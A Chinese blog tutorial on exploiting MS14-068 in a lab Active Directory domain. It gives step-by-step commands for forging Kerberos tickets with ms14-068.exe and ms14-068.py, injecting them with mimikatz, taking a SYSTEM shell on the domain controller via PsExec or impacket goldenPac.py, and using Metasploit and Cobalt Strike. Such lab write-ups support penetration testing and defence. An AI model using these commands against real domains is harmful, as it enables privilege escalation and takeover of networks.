美文网首页
Pass The Ticket之ms14-068

Pass The Ticket之ms14-068

作者: CSeroad | 来源:发表于2020-03-14 12:03 被阅读0次

    前言

    Pass The Ticket 也是横向渗透的一种攻击方式,简称ptt。而Ticket票据是利用kerberos 协议进行攻击的,所以之前先学了《kerberos 认证学习》
    常见的有三种攻击方式:ms14-068、Golden Ticket(黄金票据)、Silver Ticket(白银票据)
    我们今天先学习ms14-068,获取DC的一种方式。

    漏洞起源

    在kerberos 协议中,Client去访问Server,需要知道是否具有访问权限。所以微软在KRB_AS_REP中的TGT中增加了Client的PAC(特权属性证书),也就是Client的权限,包括Client的User的SID、Group的SID。
    ms14-068 漏洞就是在经过身份验证的Client在TGT中伪造高权限的PAC。
    漏洞细节参考:深入解读MS14-068漏洞:微软精心策划的后门?
    该漏洞允许任何一个域普通用户,将自己提升至域管理员权限。微软给出的补丁号kb3011780。
    测试在server 2012未成功利用该漏洞。

    漏洞利用

    测试环境
    域:tide.org
    域控制器 dc.tide.org,server 2008 服务器,IP为10.211.55.88
    域用户 tidetest,server 2008 服务器,IP为10.211.55.8

    假设我们通过NTLM-Hash或者明文密码获取了域用户tidetest的权限,就可以利用ms14-068漏洞将自己域用户提权为域管理员权限。以下实验操作均是在tidetest域用户权限下操作(非管理员权限)

    在默认情况下,域用户tidetest是没有权限访问dc.tide.org(DC)的。

    image.png

    ms14-068.exe

    1.获取域用户tidetest的SID
    SID(安全标识符),是为域或本地计算机中创建每个帐户所分配的唯一ID字符串。

    whoami /user
    
    image.png

    2.生成TGT票据
    从github下载ms14-068.exe利用工具

    ms14-068.exe  -u tidetest@tide.org -s S-1-5-21-2478348595-1372543966-1277690238-1104 -d 10.211.55.88 -p test@666
    -u 域用户@域名
    -s 域用户SID
    -d 域控制器地址
    -p 域成员密码
    

    命令执行后,会创建.ccache文件。证明漏洞触发成功。

    image.png

    3.注入内存
    再使用mimikatz将票据(TGT)注入到当前内存中,来伪造kerberos协议认证证书。

    kerberos::purge         //清空当前所有凭证
    kerberos::list          //查看当前凭证
    kerberos::ptc TGT_tidetest@tide.org.ccache   //将票据注入到内存中
    
    image.png

    注入之前:

    image.png

    注入之后:

    image.png
    kerberos::list  可查看到凭证
    
    image.png

    继续使用PSTools目录下的PsExec64.exe获取cmdshell。获取域控制器权限,且为system权限。

    image.png

    ms14-068.py

    该脚本也是产生一张kerberos的票据缓存,可以针对linux平台的kerberos认证,也可以是windows。
    github下载windows-kernel-exploits ,切换至MS14-068目录下,可运行ms14-068.py文件。
    注:单独下载ms14-068.py无法使用
    命令为

    python ms14-068.py  -u tidetest@tide.org -s S-1-5-21-2478348595-1372543966-1277690238-1104 -d 10.211.55.88 -p test@666
    

    生成.ccache文件。

    image.png

    也是一样的道理,使用mimikatz注入票据

    kerberos::ptc TGT_tidetest@tide.org.ccache
    
    image.png

    需要注意的是dir输入计算机名,而不是IP地址。

    goldenPac.py

    goldenPac.py脚本是impacket工具包里的。
    先需要在kali上安装kerberos客户端:

    apt-get install  krb5-user
    

    再使用goldenPac.py脚本

    goldenPac.py -dc-ip 1.1.1.1 -target-ip 2.2.2.2 domain.net/normaluser:mypwd@domain-host
    

    命令为

    python goldenPac.py -dc-ip 10.211.55.88 -target-ip 10.211.55.88 tide.org/tidetest:test@666@dc.tide.org
    

    就可以直接获取cmdshell。

    image.png

    metasploit

    使用ms14_068_kerberos_checksum模块

    set domain tide.org
    set user tidetest
    set password test@666
    set rhosts 10.211.55.88
    set user_sid S-1-5-21-2478348595-1372543966-1277690238-1104
    
    image.png

    可导出bin文件,证明存在ms14-068漏洞。
    但是后续在内存中导出Ticket,以及使用票据的过程中,始终出错。
    有解决方案的小伙伴可以告诉我。

    CobaltStrike

    依然是使用ms14-068生成一个票据。
    执行命令后会在当前目录生成.ccache 的文件
    然后使用 KrbCredExport 将 .ccache文件转化为kirbi格式,也就是user.ticket。

    python KrbCredExport.py TGT_tidetest@tide.org.ccache user.ticket
    

    使用cobaltstrike 的 kerberos_ticket_use命令加载ticket。

    image.png

    加载后可以访问到DC。

    image.png

    如果要继续利用,可以利用当前的session对域控进行psh。

    手动Add Target

    image.png image.png

    勾选use session's current access token,选择获取tidetest域用户的session。

    image.png

    DC即可上线。

    image.png

    参考资料

    MS14-068域权限提升漏洞总结
    ms14-068之metasploit应用
    通过 Cobalt Strike 利用 ms14-068

    相关文章

      网友评论

          本文标题:Pass The Ticket之ms14-068

          本文链接:https://www.haomeiwen.com/subject/lpbgfhtx.html